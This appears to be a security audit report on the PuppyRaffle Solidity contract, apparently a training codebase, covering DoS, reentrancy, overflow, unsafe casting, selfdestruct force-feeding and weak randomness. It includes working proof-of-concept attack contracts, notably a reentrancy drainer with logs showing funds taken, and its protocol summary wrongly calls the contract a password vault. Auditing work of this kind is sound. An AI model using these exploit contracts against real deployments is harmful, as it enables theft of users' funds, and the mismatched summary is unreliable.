PuppyRaffle Security Review

Version 1.0

L0W3

August 17, 2024

Table of Contents

- Recomendation

* [M-4] - Weak Random Number Generation is weak, making those numbers potentially guesseable.
    - Description
    - Impact
    - Recomendation

Protocol Summary

The protocol audited was an implementation of a password vault, where, acording to the documentation, only the owner should have privileges to read and store passwords into it.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

The CodeHawks severity matrix was used to determine severity. See the documentation for more details.

Audit Details

Scope

For this review, a Github repository was given: https://github.com/Cyfrin/4-puppy-raffle-audit/tree/main. The scope of the audit was only set to `PuppyRaffle.sol` Smart Contract, and therefore, that has been the only contract reviewed. The commit hash where all the tests have been performed is:

```
2a47715b30cf11ca82db148704e67652ad679cd8
```

Roles

As indicated by the documentation provided, the roles given were:

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function. Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Executive Summary

In this code review, the risk is considered **HIGH** as vulnearbilities with this severety were found, leading to reentrancy attacks which could drain all the funds of the contract, as well as DoS and multiple other vulnerabilites.

Medium risk vulnerabilities were also found, involving some vulnerabiliteis taht would block the withdraw of fees and guessing raffle winners/prizes.

Findings

High

[H-1] - DoS: Making the protocol not usable due to incrementing too much an array, causing Gas to be too high

Description

> The `enterRaffle::PuppyRaffle.sol` function contains a loop inside a loop, which causes `n^2` iterations over the length of the array, meaning that the longer the array, the more gas it will cost a user to get into the raffle.

Impact

> The more players a raffle has, the more it is going to cost for other players to get into it due to gas prices. An attacker could also flood the first positions of the array, causing other users to spend more in gas, effectively reducing the ammount of competency.

PoC

> The following PoC was written to demonstrate the impact of this issue. Wen run, it is clear that the first users to sign in have an adventage over the last ones in terms of gas cost.

```
function testDos() public {

        address[] memory players = new address[](1);
        players[0] = playerOne;
        address player;

        uint256 gas_first_before = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        uint256 gas_first_after = gasleft();
```

```
        uint256 total_gas_first = gas_first_before-gas_first_after;

        console.log("First Run: ", total_gas_first);
        uint256 gas_in_loop;

        for (uint256 i = 3; i < 103; i++)
        {
            uint256 gas_loop_before = gasleft();
            address[] memory players = new address[](1);
            players[0] = address(i);
            puppyRaffle.enterRaffle{value: entranceFee}(players);
            uint256 gas_loop_after = gasleft();

            gas_in_loop = gas_loop_before - gas_loop_after;
        }
        console.log("Gas for the 100th run: ", gas_in_loop);
        assertGt(gas_in_loop, total_gas_first);
    }
```

```
Logs:
  First Run:  61020
  Gas for the 100th run:  3811030
```

Recomendation

> It is recommendend not to use loops inside loops. Perhaps consider to use other data structures such as mappings.

[H-2] - Reentrancy vector allowing to drain fund from contract

Description

> A reentrancy vector inside `refund::PuppyRaffle.sol` was found due to not following a `CEI` pattern (Checks - Effects - Interactions).

Impact

> An attacker could call several times this function inside a contract, effectevely daining all its funds.

PoC

> The following PoC was written to showcase the impact of this vulnerability:

On the test contract:

```
    function testReentrancy () public {
        address[] memory players = new address[](3);
```

```
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;

        puppyRaffle.enterRaffle{value: entranceFee * 3}(players);
        console.log("passed");
        ReentrancyAttack reentrancyAttack = new ReentrancyAttack(
            puppyRaffle);
        address hacker = address(1337);
        vm.deal(hacker, 1 ether);

        uint256 contractBalanceBeforeAttacker = address(
            reentrancyAttack).balance;
        uint256 contractBalanceBeforeVictim = address(puppyRaffle).
            balance;

        vm.prank(hacker);
        reentrancyAttack.hack{value: entranceFee}();

        uint256 contractBalanceAfterAttacker = address(reentrancyAttack
            ).balance;
        uint256 contractBalanceAfterVictim = address(puppyRaffle).
            balance;

        console.log("Before the funds of attacker where: ",
            contractBalanceBeforeAttacker);
        console.log("Before the funds of victim where: ",
            contractBalanceBeforeVictim);
        console.log("After the funds of attacker where: ",
            contractBalanceAfterAttacker);
        console.log("After the funds of victim where: ",
            contractBalanceAfterVictim);

        assert(contractBalanceAfterAttacker >
            contractBalanceAfterVictim);

    }
```

After the test contract, create a new one with the following:

```
contract ReentrancyAttack {

    address playerOne;
    uint256 entranceFee;
    uint256 index;
    PuppyRaffle puppyRaffle;
    constructor(PuppyRaffle _puppyRaffle) payable {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();

    }
```

```
    function hack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);

        puppyRaffle.enterRaffle{value: entranceFee}(players);

        index = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(index);

    }
    receive() external payable {
        if (address(puppyRaffle).balance >= entranceFee){
            puppyRaffle.refund(index);
        }
    }
}
```

When run, the following output is expected:

```
Logs:
  passed
  Before the funds of attacker where:  0
  Before the funds of victim where:  3000000000000000000
  After the funds of attacker where:  4000000000000000000
  After the funds of victim where:  0
```

Recomendation

> It is recommended to follow a `CEI` design pattern to avoid having this issues. It could be implemented like this:

```
function refund(uint256 playerIndex) public {

        // Checks

        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

        // Effects

+       players[playerIndex] = address(0);

        // Interactions

        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
```

```
        emit RaffleRefunded(playerAddress);
}
```

[M-1] - Integer Overflow potentially leading to fee losses

Descrption

> The use of `uint64` in `totalFees::PuppyRaffle` variable is prone to Integer Overflow, potentially causing fees to not be payed

Impact

> This issue would cause the contract to potentially not send out fees due to this check: `require(address(this).balance == uint256(totalFees), "PuppyRaffle : There are currently players active!");`

PoC

> The following piece of code showcases how this could be an issue

`maxUint64 = 18446744073709551615 ~ 18 ETH` When this quantity is met, when more fees are going to be added, it will rollup, and start back at 0, causing the following:

```
totalFees = 18446744073709551615 + 1;
// Causes totalFees to be 0
```

Below an example using Chisel can be found, note how when adding both numbers, it complains about an Overflow

```
uint64 overflowed;
uint64 overflowee;
uint64 overflower;
overflowee = 17000000000000000000
Type: uint64
    Hex: 0x
    Hex (full word): 0xebec21ee1da40000
    Decimal: 17000000000000000000
overflower = 2000000000000000000
Type: uint64
    Hex: 0x
    Hex (full word): 0x1bc16d674ec80000
    Decimal: 2000000000000000000
overflowed = overflowee + overflower
Traces:
    0xBd770416a3345F91E4B34576cb804a576fa48EB1::run()
        [Revert] panic: arithmetic underflow or overflow (0x11)
```

```
Chisel Error: Failed to inspect expression
```

Recomnedation

> This issue can be addressed by using `uint256`. Also, using later versions of `Solidity` would have prevented this as it would throw an error.

[M-2] - Unsafe Casting leads to fee losses

Description

> An unsafe cast from `uint256` to `uint64` is made on `selectWinner::PuppyRaffle` function, potentially leading to fee losses due to the `require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");` check.

Impact

> An unsafe cast can make a variable go from a value to a very different one, for example, on a `uint16`, the value `300` would be converted to `44` when casted int `uint8`.

PoC

> In the following Proof of Concept, it can be seen how if the value of fee is greater than `18446744073709551615`, it will be truncated into a different value.

```
uint256 fee = 20446744073709551615; // ~ 20 ETH
uint64(fee) = 1999999999999999999; // ~ 1 ETH
```

[M-3] - Withdrawals can be blocked by self-destructing a contract and adding funds

Description

> `require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");` inside `withdrawFees::PuppyRaffle.sol` allows withdrawals only if the balance of the contract is the same as the balance of the fees retreived in order to see if there are active players. If the value of the contract balance is different, funds of fees will not be able to be sent and thus, blocked in the contract.

Impact

> An attacker can use a selfdestructed contract to send funds to the contract, tampering the expected value of `balance == totalFees` and thus, blocking the funds.

PoC

> The following test proves how a self-destructed contract can send funds to the contract, blocking the funds.

The following function runs de self-destruct contract sending to it `1 ether`, making the value of the contract different to the expected:

```
    function testMisshandEther() public {
        uint256 beforeDestruct;
        uint256 afterDestruct;
        AttackSelf attackSelf = new AttackSelf(puppyRaffle);
        beforeDestruct = address(puppyRaffle).balance;
        console.log("Before self destruct funds are: ", beforeDestruct);
        address(attackSelf).call{value: 1 ether}("");
        afterDestruct = address(puppyRaffle).balance;
        console.log("After self destruct funds are: ", afterDestruct);
        assert(afterDestruct > beforeDestruct);

    }
```

The `AttackSelf` contract contains the following

```
contract AttackSelf {
    PuppyRaffle target;

    constructor(PuppyRaffle _target) payable {
        target = _target;
    }

    function attack() public payable {
        selfdestruct(payable(address(target)));
    }

    receive () external payable {
        attack();
    }
}
```

```
Logs:
  Before self destruct funds are:  0
  After self destruct funds are:  1000000000000000000
```

Recomendation

> The check made is problematic and causes in various scenarios the fees not to be sent to the owner, and it is recommended to take ot that check.

[M-4] - Weak Random Number Generation is weak, making those numbers potentially guesseable.

Description

> The Random Number Generation is weak, making it possible to guess the result.

Impact

> An attacker could create a contract to guess the resultant winner/NFT and then, revert all the transactions that are not liked by them. Validators can also tamper block timestamps an difficulty, as well as change the message sender to make their index be the winner.

Recomendation

> On-Chain Random numbers are not secure and Off-Chain Random Number Generation is recommended over the current approach